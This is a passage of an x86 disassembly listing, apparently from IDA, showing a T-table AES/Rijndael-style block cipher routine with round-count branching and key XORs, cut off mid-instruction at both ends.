sub_41C6D0 push esi lea eax, [ebp+var_20C] push ebx push eax call sub_41C6D0 add esp, 18h xor eax, eax loc_41954B: ; CODE XREF: sub_419236+107j pop esi pop ebx leave retn sub_419236 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41954F proc near ; CODE XREF: sub_404CDB+31p ; sub_404D48+Ap var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 48h push esi mov esi, ecx test byte ptr [esi+204h], 1 jnz short loc_419568 xor eax, eax jmp loc_41B3D2 ; --------------------------------------------------------------------------- loc_419568: ; CODE XREF: sub_41954F+10j xor ecx, ecx mov ch, [eax+3] movzx edx, byte ptr [eax+1] push ebx xor ebx, ebx mov bh, [eax+7] mov cl, [eax+2] push edi movzx edi, byte ptr [eax+15h] mov bl, [eax+6] shl ecx, 8 or ecx, edx shl ecx, 8 movzx edx, byte ptr [eax] or ecx, edx xor ecx, [esi] movzx edx, byte ptr [eax+9] mov [ebp+var_28], ecx movzx ecx, byte ptr [eax+5] shl ebx, 8 or ebx, ecx movzx ecx, byte ptr [eax+4] shl ebx, 8 or ebx, ecx xor ecx, ecx mov ch, [eax+0Bh] xor ebx, [esi+4] mov [ebp+var_24], ebx mov cl, [eax+0Ah] shl ecx, 8 or ecx, edx movzx edx, byte ptr [eax+8] shl ecx, 8 or ecx, edx xor ecx, [esi+8] movzx edx, byte ptr [eax+0Dh] mov [ebp+var_20], ecx xor ecx, ecx mov ch, [eax+0Fh] mov cl, [eax+0Eh] shl ecx, 8 or ecx, edx movzx edx, byte ptr [eax+0Ch] shl ecx, 8 or ecx, edx xor ecx, [esi+0Ch] xor edx, edx mov dh, [eax+13h] mov [ebp+var_1C], ecx movzx ecx, byte ptr [eax+11h] mov dl, [eax+12h] shl edx, 8 or edx, ecx movzx ecx, byte ptr [eax+10h] shl edx, 8 or edx, ecx xor ecx, ecx mov ch, [eax+17h] xor edx, [esi+10h] mov [ebp+var_18], edx mov cl, [eax+16h] shl ecx, 8 or ecx, edi movzx edi, byte ptr [eax+14h] shl ecx, 8 or ecx, edi xor ecx, [esi+14h] movzx edi, byte ptr [eax+19h] mov [ebp+var_14], ecx xor ecx, ecx mov ch, [eax+1Bh] mov cl, [eax+1Ah] shl ecx, 8 or ecx, edi movzx edi, byte ptr [eax+18h] shl ecx, 8 or ecx, edi xor ecx, [esi+18h] mov [ebp+var_10], ecx xor ecx, ecx mov ch, [eax+1Fh] mov cl, [eax+1Eh] movzx edi, byte ptr [eax+1Dh] movzx eax, byte ptr [eax+1Ch] shl ecx, 8 or ecx, edi shl ecx, 8 or ecx, eax xor ecx, [esi+1Ch] mov [ebp+var_C], ecx mov ecx, [esi+200h] lea eax, [ecx-9] shl eax, 5 add eax, esi sub ecx, 0Ah jz loc_419E42 dec ecx dec ecx jz loc_419A67 dec ecx dec ecx jnz loc_41B2EF mov ecx, edx shr ecx, 18h mov esi, ds:dword_42B8D8[ecx*4] mov [ebp+var_4], edx mov edx, [ebp+var_1C] mov ecx, ebx shr ecx, 8 movzx ecx, cl shr edx, 10h movzx edi, dl xor esi, ds:dword_42B4D8[edi*4] mov edx, [ebp+var_4] xor esi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_28] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_14] xor esi, [eax-80h] shr ecx, 18h mov [ebp+var_48], esi mov esi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_20] shr ecx, 8 movzx ecx, cl mov [ebp+var_4], edx shr edx, 10h movzx edi, dl xor esi, ds:dword_42B4D8[edi*4] mov edx, [ebp+var_4] xor esi, ds:dword_42B0D8[ecx*4] movzx ecx, bl xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_10] xor esi, [eax-7Ch] mov ebx, [ebp+var_14] mov [ebp+var_44], esi shr ecx, 18h mov esi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_1C] shr ebx, 10h movzx edi, bl xor esi, ds:dword_42B4D8[edi*4] mov ebx, [ebp+var_10] shr ecx, 8 movzx ecx, cl xor esi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_20] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_C] xor esi, [eax-78h] shr ebx, 10h mov [ebp+var_40], esi movzx esi, bl shr ecx, 18h mov ecx, ds:dword_42B8D8[ecx*4] xor ecx, ds:dword_42B4D8[esi*4] mov ebx, edx shr ebx, 8 movzx esi, bl xor ecx, ds:dword_42B0D8[esi*4] movzx esi, byte ptr [ebp+var_1C] xor ecx, ds:dword_42ACD8[esi*4] mov ebx, [ebp+var_C] xor ecx, [eax-74h] shr ebx, 10h movzx esi, bl mov ebx, [ebp+var_14] mov esi, ds:dword_42B4D8[esi*4] shr ebx, 8 movzx edi, bl xor esi, ds:dword_42B0D8[edi*4] mov edi, [ebp+var_28] movzx edx, dl mov [ebp+var_4], esi shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] xor esi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_10] xor esi, [eax-70h] shr edx, 8 mov [ebp+var_38], esi movzx edx, dl mov esi, ds:dword_42B0D8[edx*4] mov edx, [ebp+var_28] mov edi, [ebp+var_24] shr edx, 10h movzx edx, dl mov ebx, [ebp+var_20] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] shr ebx, 18h xor esi, ds:dword_42B4D8[edx*4] movzx edx, byte ptr [ebp+var_14] xor esi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_C] shr edx, 8 movzx edx, dl mov edi, ds:dword_42B0D8[edx*4] xor edi, ds:dword_42B8D8[ebx*4] mov edx, [ebp+var_24] shr edx, 10h movzx edx, dl xor edi, ds:dword_42B4D8[edx*4] movzx edx, byte ptr [ebp+var_10] xor edi, ds:dword_42ACD8[edx*4] mov ebx, [ebp+var_20] mov edx, [ebp+var_1C] shr ebx, 10h shr edx, 18h mov edx, ds:dword_42B8D8[edx*4] movzx ebx, bl xor edx, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_28] shr ebx, 8 movzx ebx, bl xor edx, ds:dword_42B0D8[ebx*4] movzx ebx, byte ptr [ebp+var_C] xor edx, ds:dword_42ACD8[ebx*4] xor esi, [eax-6Ch] xor edx, [eax-64h] mov ebx, ecx mov [ebp+var_2C], edx mov edx, [ebp+var_38] shr ebx, 10h shr edx, 18h mov edx, ds:dword_42B8D8[edx*4] movzx ebx, bl xor edx, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_44] shr ebx, 8 movzx ebx, bl xor edx, ds:dword_42B0D8[ebx*4] movzx ebx, byte ptr [ebp+var_48] xor edx, ds:dword_42ACD8[ebx*4] mov ebx, [ebp+var_38] xor edx, [eax-60h] xor edi, [eax-68h] mov [ebp+var_28], edx shr ebx, 10h movzx ebx, bl mov edx, esi shr edx, 18h mov edx, ds:dword_42B8D8[edx*4] xor edx, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_40] shr ebx, 8 movzx ebx, bl xor edx, ds:dword_42B0D8[ebx*4] movzx ebx, byte ptr [ebp+var_44] xor edx, ds:dword_42ACD8[ebx*4] mov ebx, esi xor edx, [eax-5Ch] shr ebx, 10h mov [ebp+var_24], edx mov edx, edi shr edx, 18h mov edx, ds:dword_42B8D8[edx*4] movzx ebx, bl xor edx, ds:dword_42B4D8[ebx*4] mov ebx, ecx mov [ebp+var_34], esi mov [ebp+var_30], edi shr ebx, 8 movzx ebx, bl xor edx, ds:dword_42B0D8[ebx*4] movzx ebx, byte ptr [ebp+var_40] xor edx, ds:dword_42ACD8[ebx*4] mov ebx, edi xor edx, [eax-58h] shr ebx, 10h mov [ebp+var_20], edx mov edx, [ebp+var_2C] movzx ebx, bl shr edx, 18h mov edx, ds:dword_42B8D8[edx*4] xor edx, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_38] shr ebx, 8 movzx ebx, bl xor edx, ds:dword_42B0D8[ebx*4] movzx ebx, cl xor edx, ds:dword_42ACD8[ebx*4] mov ebx, esi xor edx, [eax-54h] shr ebx, 8 mov [ebp+var_1C], edx mov edx, [ebp+var_2C] movzx esi, bl shr edx, 10h movzx edx, dl mov edx, ds:dword_42B4D8[edx*4] xor edx, ds:dword_42B0D8[esi*4] mov esi, [ebp+var_48] shr esi, 18h xor edx, ds:dword_42B8D8[esi*4] movzx esi, byte ptr [ebp+var_38] xor edx, ds:dword_42ACD8[esi*4] mov ebx, edi mov edi, [ebp+var_44] shr ebx, 8 movzx esi, bl mov esi, ds:dword_42B0D8[esi*4] mov ebx, [ebp+var_48] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] shr ebx, 10h movzx edi, bl xor esi, ds:dword_42B4D8[edi*4] movzx edi, byte ptr [ebp+var_34] xor esi, ds:dword_42ACD8[edi*4] mov ebx, [ebp+var_2C] xor esi, [eax-4Ch] mov edi, [ebp+var_40] shr ebx, 8 mov [ebp+var_14], esi movzx esi, bl mov esi, ds:dword_42B0D8[esi*4] mov ebx, [ebp+var_44] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] shr ebx, 10h movzx edi, bl xor esi, ds:dword_42B4D8[edi*4] movzx edi, byte ptr [ebp+var_30] xor esi, ds:dword_42ACD8[edi*4] mov ebx, [ebp+var_40] xor esi, [eax-48h] xor edx, [eax-50h] shr ecx, 18h mov edi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_48] shr ebx, 10h mov [ebp+var_10], esi movzx esi, bl xor edi, ds:dword_42B4D8[esi*4] mov ebx, [ebp+var_24] shr ecx, 8 movzx ecx, cl xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_2C] xor edi, ds:dword_42ACD8[ecx*4] xor edi, [eax-44h] mov [ebp+var_C], edi loc_419A67: ; CODE XREF: sub_41954F+132j mov ecx, edx shr ecx, 18h mov esi, ds:dword_42B8D8[ecx*4] mov [ebp+var_4], edx mov edx, [ebp+var_1C] mov ecx, ebx shr ecx, 8 movzx ecx, cl shr edx, 10h movzx edi, dl xor esi, ds:dword_42B4D8[edi*4] mov edx, [ebp+var_4] xor esi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_28] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_14] xor esi, [eax-40h] shr ecx, 18h mov [ebp+var_48], esi mov esi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_20] shr ecx, 8 movzx ecx, cl mov [ebp+var_4], edx shr edx, 10h movzx edi, dl xor esi, ds:dword_42B4D8[edi*4] mov edx, [ebp+var_4] xor esi, ds:dword_42B0D8[ecx*4] movzx ecx, bl xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_10] xor esi, [eax-3Ch] mov ebx, [ebp+var_14] mov [ebp+var_44], esi shr ecx, 18h mov esi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_1C] shr ebx, 10h movzx edi, bl xor esi, ds:dword_42B4D8[edi*4] mov ebx, [ebp+var_10] shr ecx, 8 movzx ecx, cl xor esi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_20] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_C] xor esi, [eax-38h] shr ebx, 10h mov [ebp+var_40], esi movzx esi, bl shr ecx, 18h mov ecx, ds:dword_42B8D8[ecx*4] xor ecx, ds:dword_42B4D8[esi*4] mov ebx, edx shr ebx, 8 movzx esi, bl xor ecx, ds:dword_42B0D8[esi*4] movzx esi, byte ptr [ebp+var_1C] xor ecx, ds:dword_42ACD8[esi*4] mov ebx, [ebp+var_C] xor ecx, [eax-34h] shr ebx, 10h movzx esi, bl mov ebx, [ebp+var_14] mov esi, ds:dword_42B4D8[esi*4] shr ebx, 8 movzx edi, bl xor esi, ds:dword_42B0D8[edi*4] mov edi, [ebp+var_28] movzx edx, dl mov [ebp+var_4], esi shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] xor esi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_10] xor esi, [eax-30h] shr edx, 8 mov [ebp+var_38], esi movzx edx, dl mov esi, ds:dword_42B0D8[edx*4] mov edx, [ebp+var_28] mov edi, [ebp+var_24] shr edx, 10h movzx edx, dl mov ebx, [ebp+var_20] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] shr ebx, 18h xor esi, ds:dword_42B4D8[edx*4] movzx edx, byte ptr [ebp+var_14] xor esi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_C] shr edx, 8 movzx edx, dl mov edi, ds:dword_42B0D8[edx*4] xor edi, ds:dword_42B8D8[ebx*4] mov edx, [ebp+var_24] shr edx, 10h movzx edx, dl xor edi, ds:dword_42B4D8[edx*4] movzx edx, byte ptr [ebp+var_10] xor edi, ds:dword_42ACD8[edx*4] mov ebx, [ebp+var_20] mov edx, [ebp+var_1C] shr ebx, 10h shr edx, 18h mov edx, ds:dword_42B8D8[edx*4] movzx ebx, bl xor edx, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_28] shr ebx, 8 movzx ebx, bl xor edx, ds:dword_42B0D8[ebx*4] movzx ebx, byte ptr [ebp+var_C] xor edx, ds:dword_42ACD8[ebx*4] xor esi, [eax-2Ch] xor edx, [eax-24h] mov ebx, ecx mov [ebp+var_2C], edx mov edx, [ebp+var_38] shr ebx, 10h shr edx, 18h mov edx, ds:dword_42B8D8[edx*4] movzx ebx, bl xor edx, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_44] shr ebx, 8 movzx ebx, bl xor edx, ds:dword_42B0D8[ebx*4] movzx ebx, byte ptr [ebp+var_48] xor edx, ds:dword_42ACD8[ebx*4] mov ebx, [ebp+var_38] xor edx, [eax-20h] xor edi, [eax-28h] mov [ebp+var_28], edx shr ebx, 10h movzx ebx, bl mov edx, esi shr edx, 18h mov edx, ds:dword_42B8D8[edx*4] xor edx, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_40] shr ebx, 8 movzx ebx, bl xor edx, ds:dword_42B0D8[ebx*4] movzx ebx, byte ptr [ebp+var_44] xor edx, ds:dword_42ACD8[ebx*4] mov ebx, esi xor edx, [eax-1Ch] shr ebx, 10h mov [ebp+var_24], edx mov edx, edi shr edx, 18h mov edx, ds:dword_42B8D8[edx*4] movzx ebx, bl xor edx, ds:dword_42B4D8[ebx*4] mov ebx, ecx mov [ebp+var_34], esi mov [ebp+var_30], edi shr ebx, 8 movzx ebx, bl xor edx, ds:dword_42B0D8[ebx*4] movzx ebx, byte ptr [ebp+var_40] xor edx, ds:dword_42ACD8[ebx*4] mov ebx, edi xor edx, [eax-18h] shr ebx, 10h mov [ebp+var_20], edx mov edx, [ebp+var_2C] movzx ebx, bl shr edx, 18h mov edx, ds:dword_42B8D8[edx*4] xor edx, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_38] shr ebx, 8 movzx ebx, bl xor edx, ds:dword_42B0D8[ebx*4] movzx ebx, cl xor edx, ds:dword_42ACD8[ebx*4] mov ebx, esi xor edx, [eax-14h] shr ebx, 8 mov [ebp+var_1C], edx mov edx, [ebp+var_2C] movzx esi, bl shr edx, 10h movzx edx, dl mov edx, ds:dword_42B4D8[edx*4] xor edx, ds:dword_42B0D8[esi*4] mov esi, [ebp+var_48] shr esi, 18h xor edx, ds:dword_42B8D8[esi*4] movzx esi, byte ptr [ebp+var_38] xor edx, ds:dword_42ACD8[esi*4] mov ebx, edi mov edi, [ebp+var_44] shr ebx, 8 movzx esi, bl mov esi, ds:dword_42B0D8[esi*4] mov ebx, [ebp+var_48] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] shr ebx, 10h movzx edi, bl xor esi, ds:dword_42B4D8[edi*4] movzx edi, byte ptr [ebp+var_34] xor esi, ds:dword_42ACD8[edi*4] mov ebx, [ebp+var_2C] xor esi, [eax-0Ch] mov edi, [ebp+var_40] shr ebx, 8 mov [ebp+var_14], esi movzx esi, bl mov esi, ds:dword_42B0D8[esi*4] mov ebx, [ebp+var_44] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] shr ebx, 10h movzx edi, bl xor esi, ds:dword_42B4D8[edi*4] movzx edi, byte ptr [ebp+var_30] xor esi, ds:dword_42ACD8[edi*4] mov ebx, [ebp+var_40] xor esi, [eax-8] xor edx, [eax-10h] shr ecx, 18h mov edi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_48] shr ebx, 10h mov [ebp+var_10], esi movzx esi, bl xor edi, ds:dword_42B4D8[esi*4] mov ebx, [ebp+var_24] shr ecx, 8 movzx ecx, cl xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_2C] xor edi, ds:dword_42ACD8[ecx*4] mov [ebp+var_18], edx xor edi, [eax-4] mov [ebp+var_C], edi loc_419E42: ; CODE XREF: sub_41954F+12Aj mov ecx, edx shr ecx, 18h mov ecx, ds:dword_42B8D8[ecx*4] mov [ebp+var_4], edx mov edx, [ebp+var_1C] shr edx, 10h movzx esi, dl xor ecx, ds:dword_42B4D8[esi*4] mov edx, [ebp+var_4] shr ebx, 8 movzx esi, bl xor ecx, ds:dword_42B0D8[esi*4] movzx esi, byte ptr [ebp+var_28] xor ecx, ds:dword_42ACD8[esi*4] mov ebx, edx xor ecx, [eax] shr ebx, 10h mov [ebp+var_48], ecx mov ecx, [ebp+var_14] shr ecx, 18h movzx esi, bl mov ebx, ds:dword_42B8D8[ecx*4] xor ebx, ds:dword_42B4D8[esi*4] mov ecx, [ebp+var_20] shr ecx, 8 movzx ecx, cl xor ebx, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_24] xor ebx, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_10] xor ebx, [eax+4] shr ecx, 18h mov esi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_1C] mov [ebp+var_44], ebx mov [ebp+var_8], ebx mov ebx, [ebp+var_14] shr ecx, 8 shr ebx, 10h movzx edi, bl xor esi, ds:dword_42B4D8[edi*4] mov ebx, [ebp+var_10] movzx ecx, cl xor esi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_20] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_C] xor esi, [eax+8] shr edx, 8 movzx edx, dl mov [ebp+var_40], esi shr ecx, 18h mov ecx, ds:dword_42B8D8[ecx*4] shr ebx, 10h movzx esi, bl xor ecx, ds:dword_42B4D8[esi*4] mov ebx, [ebp+var_14] xor ecx, ds:dword_42B0D8[edx*4] movzx edx, byte ptr [ebp+var_1C] xor ecx, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_C] xor ecx, [eax+0Ch] shr edx, 10h movzx edx, dl mov esi, ds:dword_42B4D8[edx*4] mov edx, [ebp+var_28] shr ebx, 8 movzx edi, bl xor esi, ds:dword_42B0D8[edi*4] mov edi, [ebp+var_24] shr edx, 18h xor esi, ds:dword_42B8D8[edx*4] movzx edx, byte ptr [ebp+var_18] xor esi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_10] xor esi, [eax+10h] shr edx, 8 shr edi, 18h mov [ebp+var_38], esi movzx edx, dl mov [ebp+var_4], edi mov edi, ds:dword_42B0D8[edx*4] mov edx, [ebp+var_4] xor edi, ds:dword_42B8D8[edx*4] mov edx, [ebp+var_28] shr edx, 10h movzx edx, dl xor edi, ds:dword_42B4D8[edx*4] movzx edx, byte ptr [ebp+var_14] xor edi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_C] xor edi, [eax+14h] shr edx, 8 movzx edx, dl mov [ebp+var_34], edi mov edi, [ebp+var_20] shr edi, 18h mov [ebp+var_4], edi mov edi, ds:dword_42B0D8[edx*4] mov edx, [ebp+var_4] xor edi, ds:dword_42B8D8[edx*4] mov edx, [ebp+var_24] shr edx, 10h movzx edx, dl xor edi, ds:dword_42B4D8[edx*4] movzx edx, byte ptr [ebp+var_10] xor edi, ds:dword_42ACD8[edx*4] mov ebx, [ebp+var_20] xor edi, [eax+18h] mov edx, [ebp+var_1C] mov [ebp+var_30], edi shr edx, 18h shr ebx, 10h movzx edi, bl mov [ebp+var_4], edi mov edi, ds:dword_42B8D8[edx*4] mov edx, [ebp+var_4] xor edi, ds:dword_42B4D8[edx*4] mov edx, [ebp+var_28] shr edx, 8 movzx edx, dl xor edi, ds:dword_42B0D8[edx*4] movzx edx, byte ptr [ebp+var_C] xor edi, ds:dword_42ACD8[edx*4] mov ebx, ecx xor edi, [eax+1Ch] shr ebx, 10h mov [ebp+var_2C], edi movzx edi, bl mov ebx, [ebp+var_8] mov [ebp+var_4], edi mov edx, esi shr edx, 18h mov edi, ds:dword_42B8D8[edx*4] mov edx, [ebp+var_4] xor edi, ds:dword_42B4D8[edx*4] mov edx, ebx shr edx, 8 movzx edx, dl xor edi, ds:dword_42B0D8[edx*4] movzx edx, byte ptr [ebp+var_48] xor edi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_34] xor edi, [eax+20h] shr edx, 18h mov [ebp+var_28], edi mov edi, ds:dword_42B8D8[edx*4] mov edx, [ebp+var_40] mov [ebp+var_8], ecx mov ecx, esi shr ecx, 10h shr edx, 8 movzx ecx, cl xor edi, ds:dword_42B4D8[ecx*4] movzx edx, dl xor edi, ds:dword_42B0D8[edx*4] movzx edx, bl xor edi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_30] xor edi, [eax+24h] shr edx, 18h mov [ebp+var_24], edi mov edi, ds:dword_42B8D8[edx*4] mov ebx, [ebp+var_34] mov ecx, [ebp+var_8] shr ebx, 10h movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_30] mov edx, ecx shr edx, 8 movzx edx, dl xor edi, ds:dword_42B0D8[edx*4] movzx edx, byte ptr [ebp+var_40] xor edi, ds:dword_42ACD8[edx*4] mov edx, [ebp+var_2C] xor edi, [eax+28h] shr ebx, 10h mov [ebp+var_20], edi movzx edi, bl mov ebx, esi shr ebx, 8 movzx esi, bl mov ebx, [ebp+var_2C] shr edx, 18h mov edx, ds:dword_42B8D8[edx*4] xor edx, ds:dword_42B4D8[edi*4] shr ebx, 10h xor edx, ds:dword_42B0D8[esi*4] movzx esi, cl xor edx, ds:dword_42ACD8[esi*4] movzx esi, bl mov esi, ds:dword_42B4D8[esi*4] mov ebx, [ebp+var_34] shr ebx, 8 movzx edi, bl xor esi, ds:dword_42B0D8[edi*4] movzx edi, byte ptr [ebp+var_38] mov [ebp+var_4], esi mov esi, [ebp+var_48] mov ebx, [ebp+var_30] shr esi, 18h mov esi, ds:dword_42B8D8[esi*4] xor [ebp+var_4], esi mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[edi*4] mov edi, [ebp+var_44] xor esi, [eax+30h] shr ebx, 8 mov [ebp+var_18], esi movzx esi, bl mov esi, ds:dword_42B0D8[esi*4] mov ebx, [ebp+var_48] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] movzx edi, byte ptr [ebp+var_34] mov [ebp+var_4], esi shr ebx, 10h movzx esi, bl mov esi, ds:dword_42B4D8[esi*4] xor [ebp+var_4], esi mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[edi*4] mov ebx, [ebp+var_2C] xor esi, [eax+34h] mov edi, [ebp+var_40] xor edx, [eax+2Ch] mov [ebp+var_14], esi shr ebx, 8 movzx esi, bl mov esi, ds:dword_42B0D8[esi*4] mov ebx, [ebp+var_44] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] movzx edi, byte ptr [ebp+var_30] mov [ebp+var_4], esi shr ebx, 10h movzx esi, bl mov esi, ds:dword_42B4D8[esi*4] xor [ebp+var_4], esi mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[edi*4] xor esi, [eax+38h] shr ecx, 18h mov ebx, [ebp+var_40] shr ebx, 10h movzx edi, bl mov [ebp+var_10], esi mov esi, ds:dword_42B8D8[ecx*4] xor esi, ds:dword_42B4D8[edi*4] mov ecx, [ebp+var_48] shr ecx, 8 movzx ecx, cl xor esi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_2C] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_18] shr ecx, 18h mov edi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_24] shr ecx, 8 movzx ecx, cl mov ebx, edx shr ebx, 10h movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_18] xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_28] xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_14] xor edi, [eax+40h] shr ecx, 18h mov [ebp+var_48], edi mov edi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_20] shr ecx, 8 movzx ecx, cl shr ebx, 10h movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov ebx, [ebp+var_14] xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_24] xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_10] xor edi, [eax+44h] xor esi, [eax+3Ch] shr ecx, 18h shr ebx, 10h mov [ebp+var_44], edi mov edi, ds:dword_42B8D8[ecx*4] movzx ebx, bl xor edi, ds:dword_42B4D8[ebx*4] mov ecx, edx shr ecx, 8 movzx ecx, cl xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_20] xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_10] shr ecx, 10h xor edi, [eax+48h] movzx ecx, cl mov [ebp+var_C], esi shr esi, 18h mov ebx, ds:dword_42B8D8[esi*4] xor ebx, ds:dword_42B4D8[ecx*4] mov ecx, [ebp+var_18] shr ecx, 8 movzx ecx, cl xor ebx, ds:dword_42B0D8[ecx*4] movzx ecx, dl xor ebx, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_C] xor ebx, [eax+4Ch] shr ecx, 10h mov [ebp+var_8], ebx mov ebx, [ebp+var_14] movzx ecx, cl mov esi, ds:dword_42B4D8[ecx*4] shr ebx, 8 mov [ebp+var_40], edi movzx edi, bl xor esi, ds:dword_42B0D8[edi*4] mov ecx, [ebp+var_28] shr ecx, 18h mov ecx, ds:dword_42B8D8[ecx*4] mov [ebp+var_4], esi xor [ebp+var_4], ecx mov esi, [ebp+var_4] movzx ecx, byte ptr [ebp+var_18] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_10] xor esi, [eax+50h] shr ecx, 8 movzx ecx, cl mov edi, [ebp+var_24] mov [ebp+var_38], esi mov esi, ds:dword_42B0D8[ecx*4] mov ecx, [ebp+var_28] shr ecx, 10h movzx ecx, cl mov ecx, ds:dword_42B4D8[ecx*4] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] mov edi, [ebp+var_20] mov [ebp+var_4], esi xor [ebp+var_4], ecx movzx ecx, byte ptr [ebp+var_14] mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_C] xor esi, [eax+54h] shr ecx, 8 movzx ecx, cl mov [ebp+var_34], esi mov esi, ds:dword_42B0D8[ecx*4] mov ecx, [ebp+var_24] shr ecx, 10h movzx ecx, cl mov ecx, ds:dword_42B4D8[ecx*4] shr edi, 18h xor esi, ds:dword_42B8D8[edi*4] mov ebx, [ebp+var_8] mov [ebp+var_4], esi xor [ebp+var_4], ecx movzx ecx, byte ptr [ebp+var_10] mov esi, [ebp+var_4] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_20] xor esi, [eax+58h] shr ecx, 10h movzx ecx, cl shr edx, 18h mov [ebp+var_30], esi mov esi, ds:dword_42B8D8[edx*4] xor esi, ds:dword_42B4D8[ecx*4] mov ecx, [ebp+var_28] shr ecx, 8 movzx ecx, cl xor esi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_C] xor esi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_38] xor esi, [eax+5Ch] shr ecx, 18h mov edi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_44] mov edx, ebx shr edx, 10h shr ecx, 8 movzx edx, dl xor edi, ds:dword_42B4D8[edx*4] mov edx, [ebp+var_38] movzx ecx, cl xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_48] xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_34] xor edi, [eax+60h] shr ecx, 18h mov [ebp+var_2C], esi mov [ebp+var_28], edi shr edx, 10h mov edi, ds:dword_42B8D8[ecx*4] mov ecx, [ebp+var_40] movzx edx, dl xor edi, ds:dword_42B4D8[edx*4] shr ecx, 8 mov edx, [ebp+var_34] movzx ecx, cl xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_44] xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_30] xor edi, [eax+64h] shr edx, 10h movzx edx, dl shr ecx, 18h mov [ebp+var_24], edi mov edi, ds:dword_42B8D8[ecx*4] xor edi, ds:dword_42B4D8[edx*4] mov ecx, ebx shr ecx, 8 movzx ecx, cl xor edi, ds:dword_42B0D8[ecx*4] movzx ecx, byte ptr [ebp+var_40] xor edi, ds:dword_42ACD8[ecx*4] mov ecx, [ebp+var_30] xor edi, 